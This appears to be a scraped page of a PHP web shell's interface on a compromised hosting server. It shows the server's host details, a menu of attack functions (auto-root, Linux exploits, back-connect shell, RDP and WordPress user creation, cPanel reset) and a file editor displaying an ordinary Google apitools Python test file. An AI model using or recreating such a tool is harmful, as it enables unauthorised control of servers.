Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
gsutil /
third_party /
apitools /
apitools /
base /
py /
[ HOME SHELL ]
Name
Size
Permission
Action
testing
[ DIR ]
drwxr-xr-x
__init__.py
1.22
KB
-rw-r--r--
base_api.py
29.29
KB
-rw-r--r--
base_api_test.py
14.12
KB
-rw-r--r--
batch.py
17.93
KB
-rw-r--r--
batch_test.py
24.73
KB
-rw-r--r--
buffered_stream.py
2.52
KB
-rw-r--r--
buffered_stream_test.py
2.4
KB
-rw-r--r--
compression.py
5.02
KB
-rw-r--r--
compression_test.py
5.19
KB
-rw-r--r--
credentials_lib.py
29.42
KB
-rw-r--r--
credentials_lib_test.py
7.58
KB
-rw-r--r--
encoding.py
1.16
KB
-rw-r--r--
encoding_helper.py
30
KB
-rw-r--r--
encoding_test.py
31.97
KB
-rw-r--r--
exceptions.py
4.98
KB
-rw-r--r--
exceptions_test.py
2.88
KB
-rw-r--r--
extra_types.py
9.74
KB
-rw-r--r--
extra_types_test.py
7.81
KB
-rw-r--r--
gzip.py
21.39
KB
-rw-r--r--
gzip_test.py
17.17
KB
-rw-r--r--
http_wrapper.py
15.09
KB
-rw-r--r--
http_wrapper_test.py
5.09
KB
-rw-r--r--
list_pager.py
5.49
KB
-rw-r--r--
list_pager_test.py
13.08
KB
-rw-r--r--
stream_slice.py
2.67
KB
-rw-r--r--
stream_slice_test.py
2.2
KB
-rw-r--r--
transfer.py
45.42
KB
-rw-r--r--
transfer_test.py
26.06
KB
-rw-r--r--
util.py
8.28
KB
-rw-r--r--
util_test.py
7.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : extra_types_test.py
# # Copyright 2015 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import datetime import json import math import unittest from apitools.base.protorpclite import messages from apitools.base.py import encoding from apitools.base.py import exceptions from apitools.base.py import extra_types class ExtraTypesTest(unittest.TestCase): def assertRoundTrip(self, value): if isinstance(value, extra_types._JSON_PROTO_TYPES): self.assertEqual( value, extra_types._PythonValueToJsonProto( extra_types._JsonProtoToPythonValue(value))) else: self.assertEqual( value, extra_types._JsonProtoToPythonValue( extra_types._PythonValueToJsonProto(value))) def assertTranslations(self, py_value, json_proto): self.assertEqual( py_value, extra_types._JsonProtoToPythonValue(json_proto)) self.assertEqual( json_proto, extra_types._PythonValueToJsonProto(py_value)) def testInvalidProtos(self): with self.assertRaises(exceptions.InvalidDataError): extra_types._ValidateJsonValue(extra_types.JsonValue()) with self.assertRaises(exceptions.InvalidDataError): extra_types._ValidateJsonValue( extra_types.JsonValue(is_null=True, string_value='a')) with self.assertRaises(exceptions.InvalidDataError): extra_types._ValidateJsonValue( extra_types.JsonValue(integer_value=3, string_value='a')) def testNullEncoding(self): self.assertTranslations(None, extra_types.JsonValue(is_null=True)) def testJsonNumberEncoding(self): seventeen = extra_types.JsonValue(integer_value=17) self.assertRoundTrip(17) self.assertRoundTrip(seventeen) self.assertTranslations(17, seventeen) json_pi = extra_types.JsonValue(double_value=math.pi) self.assertRoundTrip(math.pi) self.assertRoundTrip(json_pi) self.assertTranslations(math.pi, json_pi) def testArrayEncoding(self): array = [3, 'four', False] json_array = extra_types.JsonArray(entries=[ extra_types.JsonValue(integer_value=3), extra_types.JsonValue(string_value='four'), extra_types.JsonValue(boolean_value=False), ]) self.assertRoundTrip(array) self.assertRoundTrip(json_array) self.assertTranslations(array, json_array) def testArrayAsValue(self): array_json = '[3, "four", false]' array = [3, 'four', False] value = encoding.JsonToMessage(extra_types.JsonValue, array_json) self.assertTrue(isinstance(value, extra_types.JsonValue)) self.assertEqual(array, encoding.MessageToPyValue(value)) def testObjectAsValue(self): obj_json = '{"works": true}' obj = {'works': True} value = encoding.JsonToMessage(extra_types.JsonValue, obj_json) self.assertTrue(isinstance(value, extra_types.JsonValue)) self.assertEqual(obj, encoding.MessageToPyValue(value)) def testDictEncoding(self): d = {'a': 6, 'b': 'eleventeen'} json_d = extra_types.JsonObject(properties=[ extra_types.JsonObject.Property( key='a', value=extra_types.JsonValue(integer_value=6)), extra_types.JsonObject.Property( key='b', value=extra_types.JsonValue(string_value='eleventeen')), ]) self.assertRoundTrip(d) # We don't know json_d will round-trip, because of randomness in # python dictionary iteration ordering. We also need to force # comparison as lists, since hashing protos isn't helpful. translated_properties = extra_types._PythonValueToJsonProto( d).properties for p in json_d.properties: self.assertIn(p, translated_properties) for p in translated_properties: self.assertIn(p, json_d.properties) def testJsonObjectPropertyTranslation(self): value = extra_types.JsonValue(string_value='abc') obj = extra_types.JsonObject(properties=[ extra_types.JsonObject.Property(key='attr_name', value=value)]) json_value = '"abc"' json_obj = '{"attr_name": "abc"}' self.assertRoundTrip(value) self.assertRoundTrip(obj) self.assertRoundTrip(json_value) self.assertRoundTrip(json_obj) self.assertEqual(json_value, encoding.MessageToJson(value)) self.assertEqual(json_obj, encoding.MessageToJson(obj)) def testJsonValueAsFieldTranslation(self): class HasJsonValueMsg(messages.Message): some_value = messages.MessageField(extra_types.JsonValue, 1) msg_json = '{"some_value": [1, 2, 3]}' msg = HasJsonValueMsg( some_value=encoding.PyValueToMessage( extra_types.JsonValue, [1, 2, 3])) self.assertEqual(msg, encoding.JsonToMessage(HasJsonValueMsg, msg_json)) self.assertEqual(msg_json, encoding.MessageToJson(msg)) def testDateField(self): class DateMsg(messages.Message): start_date = extra_types.DateField(1) all_dates = extra_types.DateField(2, repeated=True) msg = DateMsg( start_date=datetime.date(1752, 9, 9), all_dates=[ datetime.date(1979, 5, 6), datetime.date(1980, 10, 24), datetime.date(1981, 1, 19), ]) msg_dict = { 'start_date': '1752-09-09', 'all_dates': ['1979-05-06', '1980-10-24', '1981-01-19'], } self.assertEqual(msg_dict, json.loads(encoding.MessageToJson(msg))) self.assertEqual( msg, encoding.JsonToMessage(DateMsg, json.dumps(msg_dict))) def testInt64(self): # Testing roundtrip of type 'long' class DogeMsg(messages.Message): such_string = messages.StringField(1) wow = messages.IntegerField(2, variant=messages.Variant.INT64) very_unsigned = messages.IntegerField( 3, variant=messages.Variant.UINT64) much_repeated = messages.IntegerField( 4, variant=messages.Variant.INT64, repeated=True) def MtoJ(msg): return encoding.MessageToJson(msg) def JtoM(class_type, json_str): return encoding.JsonToMessage(class_type, json_str) def DoRoundtrip(class_type, json_msg=None, message=None, times=4): if json_msg: json_msg = MtoJ(JtoM(class_type, json_msg)) if message: message = JtoM(class_type, MtoJ(message)) if times == 0: result = json_msg if json_msg else message return result return DoRoundtrip(class_type=class_type, json_msg=json_msg, message=message, times=times - 1) # Single json_msg = ('{"such_string": "poot", "wow": "-1234", ' '"very_unsigned": "999", "much_repeated": ["123", "456"]}') out_json = MtoJ(JtoM(DogeMsg, json_msg)) self.assertEqual(json.loads(out_json)['wow'], '-1234') # Repeated test case msg = DogeMsg(such_string='wow', wow=-1234, very_unsigned=800, much_repeated=[123, 456]) self.assertEqual(msg, DoRoundtrip(DogeMsg, message=msg))
Close